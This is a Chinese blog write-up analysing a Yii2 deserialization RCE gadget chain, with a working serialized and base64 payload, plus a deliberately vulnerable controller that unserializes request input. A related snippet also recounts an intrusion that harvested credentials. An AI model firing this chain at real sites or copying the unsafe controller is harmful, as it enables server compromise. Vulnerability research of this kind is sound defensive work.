<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    Yii 框架反序列化 RCE 利用鏈分析

    Andrew2021-02-17 02:03:36

    0x01.對比補丁

    圖片

    發現在./yii2/db/BatchQueryResult.php中新增了wakeup方法,在wakeup方法中拋出了一個異常。

    我們看下__wakeup方法的介紹:

    unserialize() 會檢查是否存在一個 __wakeup() 方法。如果存在,則會先調用 __wakeup 方法,預先準備對象需要的資源。

    用__wakeup()方法拋出一個異常,其實是為了防止BatchQueryResult類被反序列化。

    0x02.分析利用鏈

    其實在19年9月份,已經有師傅分析了這條利用鏈,結尾會放出鏈接。
    首先看yii2/db/BatchQueryResult類中,存在__destruct方法:圖片

    • 把$this->_dataReader賦值為一個沒有close方法的類,調用其__call方法,從而實現代碼執行

    • 把$this->_dataReader賦值為一個存在close方法的類,需要找到該close方法的調用過程中存在代碼執行的調用。

    圖片
    有23個實現了close方法的類,找到關鍵類:yii2/web/DbSession,代碼如下:
    圖片

    <?php
    
     // code from yii2/web/Session.php
    
     public  function getIsActive()
    
    {
    
     return session_status()  === PHP_SESSION_ACTIVE;`
    
    }

    這里默認安裝情況下都返回true,根據大佬描述說裝了debug和gii插件,無論開不開啟,都返回true。

    然后跟進composeFields方法,該方法實現于它的父類:yii2/web/MultiFieldSession。
    圖片

    所以需要找到一個擁有可以執行命令的公共方法的類,比如:yii2/rest/IndexAction類的run方法,代碼如下:
    圖片
    并且call_user_func的兩個函數均可控。

    利用鏈如下:

    yii2/rest/IndexAction()  ->run()
    
     yii2/web/MultiFieldSession()  ->composeFields()  # 存在call_user_func,僅可控第一個參數
    
    yii2/web/DbSession()->close()
    
    yii2/db/BatchQueryResult()->reset()
    
    yii2/db/BatchQueryResult()->__destruct()
    

    0x03.通過利用鏈構造payload

    大佬們可能有了利用鏈很容易構造出payload,我比較菜也是折騰了很久才搞出來。

    • 實例化一個BatchQueryResult類,并設置其屬性$_dataReader

    這里因為$_dataReader是私有變量,所以要寫一個函數來設置該變量的值。修改yii2/db/BatchQueryResult類的代碼加上:

    public  function setDataReader($value){
    
     $this->_dataReader = $value;
    
     }

    然后編寫實例化代碼:

    $bqrObj = new BatchQueryResult();

    實例化yii2/web/DbSession類,并將對象賦值給$bqrObj的_dataReader變量

    實例化yii2/rest/IndexAction類,賦值給yii2/web/DbSession類的writeCallback變量:

    //現有代碼

      $bqrObj =  new  BatchQueryResult();
    
      $bdsObj =  new  DbSession();
    
      $indexAction =  new  IndexAction();
    
       $bdsObj -> writeCallback = array($indexAction,"run");
    
      $bqrObj->setDataReader($bdsObj);
    
     var_dump(serialize($bqrObj));
    

    這里要注意實例化IndexAction類時,要注意其構造方法,實現于其父類的父類:\yii\base\Action類
    圖片
    然后跟進其父類Compoent的__construct方法:
    圖片
    繼續看Yii::configure的實現:
    圖片
    其實就是便利字典格式數據,把數據以key為變量名,value為值設置給傳入的對象。

    
    public  function actionSay($message =  'Hello')
    
     {
    
       $bqrObj =  new  BatchQueryResult();
    
       $bdsObj =  new  DbSession();
    
       $indexAction =  new  IndexAction(1,1);  //config變量非必填
    
       $indexAction->checkAccess =  'phpinfo';
    
       $bdsObj -> writeCallback = array($indexAction,"run");
    
       $bqrObj->setDataReader($bdsObj);
    
       var_dump(serialize($bqrObj));
    
       return $this->render('say',  ['message'  => $message]);
    
     }

    然后訪問web,如下:
    圖片
    出錯,說是$this->modelClass為空,翻看附近的代碼。
    圖片
    所以構造demo:
    圖片
    但是:
    圖片

    這時候想到yii2/base/Action類中的__construct方法,可以設置變量,而yii2/rest/Action是yii2/base/Action的子類,可以繼承其屬性和方法。
    所以修改demo:
    圖片
    圖片

    {O:23:"yii\db\BatchQueryResult":9:{s:2:"db";N;s:5:"query";N;s:9:"batchSize";i:100;s:4:"each";b:0;s:36:" yii\db\BatchQueryResult _dataReader";O:17:"yii\web\DbSession":13:{s:2:"db";O:17:"yii\db\Connection":37:{s:3:"dsn";s:37:"mysql:host=localhost;dbname=yii2basic";s:8:"username";s:4:"root";s:8:"password";s:0:"";s:10:"attributes";N;s:17:"enableSchemaCache";b:0;s:19:"schemaCacheDuration";i:3600;s:18:"schemaCacheExclude";a:0:{}s:11:"schemaCache";s:5:"cache";s:16:"enableQueryCache";b:1;s:18:"queryCacheDuration";i:3600;s:10:"queryCache";s:5:"cache";s:7:"charset";s:4:"utf8";s:14:"emulatePrepare";N;s:11:"tablePrefix";s:0:"";s:9:"schemaMap";a:10:{s:5:"pgsql";s:19:"yii\db\pgsql\Schema";s:6:"mysqli";s:19:"yii\db\mysql\Schema";s:5:"mysql";s:19:"yii\db\mysql\Schema";s:6:"sqlite";s:20:"yii\db\sqlite\Schema";s:7:"sqlite2";s:20:"yii\db\sqlite\Schema";s:6:"sqlsrv";s:19:"yii\db\mssql\Schema";s:3:"oci";s:17:"yii\db\oci\Schema";s:5:"mssql";s:19:"yii\db\mssql\Schema";s:5:"dblib";s:19:"yii\db\mssql\Schema";s:6:"cubrid";s:20:"yii\db\cubrid\Schema";}s:8:"pdoClass";N;s:12:"commandClass";s:14:"yii\db\Command";s:10:"commandMap";a:10:{s:5:"pgsql";s:14:"yii\db\Command";s:6:"mysqli";s:14:"yii\db\Command";s:5:"mysql";s:14:"yii\db\Command";s:6:"sqlite";s:21:"yii\db\sqlite\Command";s:7:"sqlite2";s:21:"yii\db\sqlite\Command";s:6:"sqlsrv";s:14:"yii\db\Command";s:3:"oci";s:18:"yii\db\oci\Command";s:5:"mssql";s:14:"yii\db\Command";s:5:"dblib";s:14:"yii\db\Command";s:6:"cubrid";s:14:"yii\db\Command";}s:15:"enableSavepoint";b:1;s:17:"serverStatusCache";s:5:"cache";s:19:"serverRetryInterval";i:600;s:12:"enableSlaves";b:1;s:6:"slaves";a:0:{}s:11:"slaveConfig";a:0:{}s:7:"masters";a:0:{}s:12:"masterConfig";a:0:{}s:14:"shuffleMasters";b:1;s:13:"enableLogging";b:1;s:15:"enableProfiling";b:1;s:8:"isSybase";b:0;s:30:" yii\db\Connection _driverName";N;s:34:" yii\db\Connection _queryCacheInfo";a:0:{}s:36:" yii\db\Connection _quotedTableNames";N;s:37:" yii\db\Connection _quotedColumnNames";N;s:27:" yii\base\Component _events";a:0:{}s:35:" yii\base\Component _eventWildcards";a:0:{}s:30:" yii\base\Component _behaviors";N;}s:12:"sessionTable";s:12:"{{%session}}";s:9:" * fields";a:0:{}s:12:"readCallback";N;s:13:"writeCallback";a:2:{i:0;O:20:"yii\rest\IndexAction":10:{s:19:"prepareDataProvider";N;s:10:"dataFilter";N;s:10:"modelClass";s:21:"ActiveRecordInterface";s:9:"findModel";N;s:11:"checkAccess";s:7:"phpinfo";s:2:"id";i:1;s:10:"controller";i:1;s:27:" yii\base\Component _events";a:0:{}s:35:" yii\base\Component _eventWildcards";a:0:{}s:30:" yii\base\Component _behaviors";N;}i:1;s:3:"run";}s:10:"flashParam";s:7:"__flash";s:7:"handler";N;s:30:" yii\web\Session _cookieParams";a:1:{s:8:"httponly";b:1;}s:34:" yii\web\Session frozenSessionData";N;s:30:" yii\web\Session _hasSessionId";N;s:27:" yii\base\Component _events";a:0:{}s:35:" yii\base\Component _eventWildcards";a:0:{}s:30:" yii\base\Component _behaviors";N;}s:31:" yii\db\BatchQueryResult _batch";N;s:31:" yii\db\BatchQueryResult _value";N;s:29:" yii\db\BatchQueryResult _key";N;s:49:" yii\db\BatchQueryResult mssqlNoMoreRowsErrorCode";i:-13;}

    0x04.構造有存在漏洞的demo驗證

    修改根目錄下的controllers/SiteController.php文件,添加一代碼:

    public  function actionSay($message =  'Hello')
    
       {
    
       $data = base64_decode($message);
    
       unserialize($data);
    
      return $this->response($data);
    
     }

    將payload進行base64編碼:

    TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjk6e3M6MjoiZGIiO047czo1OiJxdWVyeSI7TjtzOjk6ImJhdGNoU2l6ZSI7aToxMDA7czo0OiJlYWNoIjtiOjA7czozNjoiAHlpaVxkYlxCYXRjaFF1ZXJ5UmVzdWx0AF9kYXRhUmVhZGVyIjtPOjE3OiJ5aWlcd2ViXERiU2Vzc2lvbiI6MTM6e3M6MjoiZGIiO086MTc6InlpaVxkYlxDb25uZWN0aW9uIjozNzp7czozOiJkc24iO3M6Mzc6Im15c3FsOmhvc3Q9bG9jYWxob3N0O2RibmFtZT15aWkyYmFzaWMiO3M6ODoidXNlcm5hbWUiO3M6NDoicm9vdCI7czo4OiJwYXNzd29yZCI7czowOiIiO3M6MTA6ImF0dHJpYnV0ZXMiO047czoxNzoiZW5hYmxlU2NoZW1hQ2FjaGUiO2I6MDtzOjE5OiJzY2hlbWFDYWNoZUR1cmF0aW9uIjtpOjM2MDA7czoxODoic2NoZW1hQ2FjaGVFeGNsdWRlIjthOjA6e31zOjExOiJzY2hlbWFDYWNoZSI7czo1OiJjYWNoZSI7czoxNjoiZW5hYmxlUXVlcnlDYWNoZSI7YjoxO3M6MTg6InF1ZXJ5Q2FjaGVEdXJhdGlvbiI7aTozNjAwO3M6MTA6InF1ZXJ5Q2FjaGUiO3M6NToiY2FjaGUiO3M6NzoiY2hhcnNldCI7czo0OiJ1dGY4IjtzOjE0OiJlbXVsYXRlUHJlcGFyZSI7TjtzOjExOiJ0YWJsZVByZWZpeCI7czowOiIiO3M6OToic2NoZW1hTWFwIjthOjEwOntzOjU6InBnc3FsIjtzOjE5OiJ5aWlcZGJccGdzcWxcU2NoZW1hIjtzOjY6Im15c3FsaSI7czoxOToieWlpXGRiXG15c3FsXFNjaGVtYSI7czo1OiJteXNxbCI7czoxOToieWlpXGRiXG15c3FsXFNjaGVtYSI7czo2OiJzcWxpdGUiO3M6MjA6InlpaVxkYlxzcWxpdGVcU2NoZW1hIjtzOjc6InNxbGl0ZTIiO3M6MjA6InlpaVxkYlxzcWxpdGVcU2NoZW1hIjtzOjY6InNxbHNydiI7czoxOToieWlpXGRiXG1zc3FsXFNjaGVtYSI7czozOiJvY2kiO3M6MTc6InlpaVxkYlxvY2lcU2NoZW1hIjtzOjU6Im1zc3FsIjtzOjE5OiJ5aWlcZGJcbXNzcWxcU2NoZW1hIjtzOjU6ImRibGliIjtzOjE5OiJ5aWlcZGJcbXNzcWxcU2NoZW1hIjtzOjY6ImN1YnJpZCI7czoyMDoieWlpXGRiXGN1YnJpZFxTY2hlbWEiO31zOjg6InBkb0NsYXNzIjtOO3M6MTI6ImNvbW1hbmRDbGFzcyI7czoxNDoieWlpXGRiXENvbW1hbmQiO3M6MTA6ImNvbW1hbmRNYXAiO2E6MTA6e3M6NToicGdzcWwiO3M6MTQ6InlpaVxkYlxDb21tYW5kIjtzOjY6Im15c3FsaSI7czoxNDoieWlpXGRiXENvbW1hbmQiO3M6NToibXlzcWwiO3M6MTQ6InlpaVxkYlxDb21tYW5kIjtzOjY6InNxbGl0ZSI7czoyMToieWlpXGRiXHNxbGl0ZVxDb21tYW5kIjtzOjc6InNxbGl0ZTIiO3M6MjE6InlpaVxkYlxzcWxpdGVcQ29tbWFuZCI7czo2OiJzcWxzcnYiO3M6MTQ6InlpaVxkYlxDb21tYW5kIjtzOjM6Im9jaSI7czoxODoieWlpXGRiXG9jaVxDb21tYW5kIjtzOjU6Im1zc3FsIjtzOjE0OiJ5aWlcZGJcQ29tbWFuZCI7czo1OiJkYmxpYiI7czoxNDoieWlpXGRiXENvbW1hbmQiO3M6NjoiY3VicmlkIjtzOjE0OiJ5aWlcZGJcQ29tbWFuZCI7fXM6MTU6ImVuYWJsZVNhdmVwb2ludCI7YjoxO3M6MTc6InNlcnZlclN0YXR1c0NhY2hlIjtzOjU6ImNhY2hlIjtzOjE5OiJzZXJ2ZXJSZXRyeUludGVydmFsIjtpOjYwMDtzOjEyOiJlbmFibGVTbGF2ZXMiO2I6MTtzOjY6InNsYXZlcyI7YTowOnt9czoxMToic2xhdmVDb25maWciO2E6MDp7fXM6NzoibWFzdGVycyI7YTowOnt9czoxMjoibWFzdGVyQ29uZmlnIjthOjA6e31zOjE0OiJzaHVmZmxlTWFzdGVycyI7YjoxO3M6MTM6ImVuYWJsZUxvZ2dpbmciO2I6MTtzOjE1OiJlbmFibGVQcm9maWxpbmciO2I6MTtzOjg6ImlzU3liYXNlIjtiOjA7czozMDoiAHlpaVxkYlxDb25uZWN0aW9uAF9kcml2ZXJOYW1lIjtOO3M6MzQ6IgB5aWlcZGJcQ29ubmVjdGlvbgBfcXVlcnlDYWNoZUluZm8iO2E6MDp7fXM6MzY6IgB5aWlcZGJcQ29ubmVjdGlvbgBfcXVvdGVkVGFibGVOYW1lcyI7TjtzOjM3OiIAeWlpXGRiXENvbm5lY3Rpb24AX3F1b3RlZENvbHVtbk5hbWVzIjtOO3M6Mjc6IgB5aWlcYmFzZVxDb21wb25lbnQAX2V2ZW50cyI7YTowOnt9czozNToiAHlpaVxiYXNlXENvbXBvbmVudABfZXZlbnRXaWxkY2FyZHMiO2E6MDp7fXM6MzA6IgB5aWlcYmFzZVxDb21wb25lbnQAX2JlaGF2aW9ycyI7Tjt9czoxMjoic2Vzc2lvblRhYmxlIjtzOjEyOiJ7eyVzZXNzaW9ufX0iO3M6OToiACoAZmllbGRzIjthOjA6e31zOjEyOiJyZWFkQ2FsbGJhY2siO047czoxMzoid3JpdGVDYWxsYmFjayI7YToyOntpOjA7TzoyMDoieWlpXHJlc3RcSW5kZXhBY3Rpb24iOjEwOntzOjE5OiJwcmVwYXJlRGF0YVByb3ZpZGVyIjtOO3M6MTA6ImRhdGFGaWx0ZXIiO047czoxMDoibW9kZWxDbGFzcyI7czoyMToiQWN0aXZlUmVjb3JkSW50ZXJmYWNlIjtzOjk6ImZpbmRNb2RlbCI7TjtzOjExOiJjaGVja0FjY2VzcyI7czo3OiJwaHBpbmZvIjtzOjI6ImlkIjtpOjE7czoxMDoiY29udHJvbGxlciI7aToxO3M6Mjc6IgB5aWlcYmFzZVxDb21wb25lbnQAX2V2ZW50cyI7YTowOnt9czozNToiAHlpaVxiYXNlXENvbXBvbmVudABfZXZlbnRXaWxkY2FyZHMiO2E6MDp7fXM6MzA6IgB5aWlcYmFzZVxDb21wb25lbnQAX2JlaGF2aW9ycyI7Tjt9aToxO3M6MzoicnVuIjt9czoxMDoiZmxhc2hQYXJhbSI7czo3OiJfX2ZsYXNoIjtzOjc6ImhhbmRsZXIiO047czozMDoiAHlpaVx3ZWJcU2Vzc2lvbgBfY29va2llUGFyYW1zIjthOjE6e3M6ODoiaHR0cG9ubHkiO2I6MTt9czozNDoiAHlpaVx3ZWJcU2Vzc2lvbgBmcm96ZW5TZXNzaW9uRGF0YSI7TjtzOjMwOiIAeWlpXHdlYlxTZXNzaW9uAF9oYXNTZXNzaW9uSWQiO047czoyNzoiAHlpaVxiYXNlXENvbXBvbmVudABfZXZlbnRzIjthOjA6e31zOjM1OiIAeWlpXGJhc2VcQ29tcG9uZW50AF9ldmVudFdpbGRjYXJkcyI7YTowOnt9czozMDoiAHlpaVxiYXNlXENvbXBvbmVudABfYmVoYXZpb3JzIjtOO31zOjMxOiIAeWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQAX2JhdGNoIjtOO3M6MzE6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfdmFsdWUiO047czoyOToiAHlpaVxkYlxCYXRjaFF1ZXJ5UmVzdWx0AF9rZXkiO047czo0OToiAHlpaVxkYlxCYXRjaFF1ZXJ5UmVzdWx0AG1zc3FsTm9Nb3JlUm93c0Vycm9yQ29kZSI7aTotMTM7fQ==

    圖片

    0x05.補丁繞過分析

    可參考CVE-2016-7124漏洞php的__wakeup方法繞過。

    • PHP5 < 5.6.25

    • PHP7 < 7.0.10

    也就是說在低版本的php當中,可能會造成補丁失效,暫未測試。

    原創: AdminTony
    原文鏈接:https://mp.weixin.qq.com/s/dZNkPToBaU1BcrF...

    序列化yii
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    0x01.對比補丁 發現在./yii2/db/中新增了wakeup方法,在wakeup方法中拋出了一個異常。 我們看下__wakeup方法的介紹: unserialize() 會檢查是否存在一個 __wakeup() 方法。如果存在,則會先調用 __wakeup 方法,預先...
    正常來說一個合法的反序列化字符串,在二次序列化也即反序列化序列化之后所得到的結果是一致的。
    屬于是看見管理系統就上頭[泰褲辣],但是SQL注入、邏輯漏洞一套-無果[emoing]。登錄進去之后進行信息搜集,發現是個挖礦的,通過URL:[/index.php?r=index]還以為是之前遇到的YXcms。進一步Fuzz,通過報錯發現服務器是Linux,框架是Yii,并不是我想的Yxcms。直接傳沒傳成,輕微饒了繞,就成了[泰褲辣]。嚕嚕嚕嚕一頓操作,找到了數據庫、AccessKeyId、代理等信息。隨后通過物理路徑找到網站目錄,證實了網站是在拿到權限的這臺服務器上,也證實了最開始的推測。
    免殺效果B函數
    Java安全中Groovy組件從反序列化到命令注入及繞過和在白盒中的排查方法
    最近兩個月我一直在做拒絕服務漏洞相關的時間,并收獲了Spring和Weblogic的兩個CVE但DoS漏洞終歸是雞肋洞,并沒有太大的意義,比如之前有人說我只會水垃圾洞而已,所以在以后可能打算做其他方向早上和pyn3rd師傅聊天
    淺談Java反序列化漏洞
    2022-05-17 17:48:01
    Java序列化與反序列化Java 提供了一種對象序列化的機制,該機制中,一個對象可以被表示為一個字節序列,該字節序列包括該對象的數據、有關對象的類型的信息和存儲在對象中數據的類型。反序列化就是打開字節流并重構對象。對象序列化不僅要將基本數據類型轉換成字節表示,有時還要恢復數據。
    java序列化與反序列化
    2022-04-13 16:35:35
    java反序列化指字節序列恢復到java對象。bit,則一個字最大為 FFFF。序列化是把對象轉換成有序字節流,以便在網絡上傳輸或者保存在本地文件中。序列化后的字節流保存了Java對象的狀態以及相關的描述信息。序列化機制的核心作用就是對象狀態的保存與重建。
    序列化漏洞匯總
    2022-01-07 22:17:34
    漏洞出現在WLS Security組件,允許遠程攻擊者執行任意命令。攻擊者通過向TCP端口7001發送T3協議流量,其中包含精心構造的序列化Java對象利用此漏洞。然后將其序列化,提交給未做安全檢測的Java應用。Java應用在進行反序列化操作時,則會觸發TransformedMap的變換函數,執行預設的命令。
    序列化的核心思維旨在,將A變成B,最后再從B還原回A。 總之,在一些條件苛刻或者變化無常的環境與需求中,產生了這種靈活的可逆性的B的中間體。 理解不安全反序列化的最好方法是了解不同的編程語言如何實現序列化和反序列化。這里的序列化與反序列化指的是程序語言中自帶的實施與實現。而非自創或者自定義的序列化與反序列化機制(比如:N進制形式hashmap樹型等其他數據結構里的序列化中間體)。
    Andrew
    暫無描述
      亚洲 欧美 自拍 唯美 另类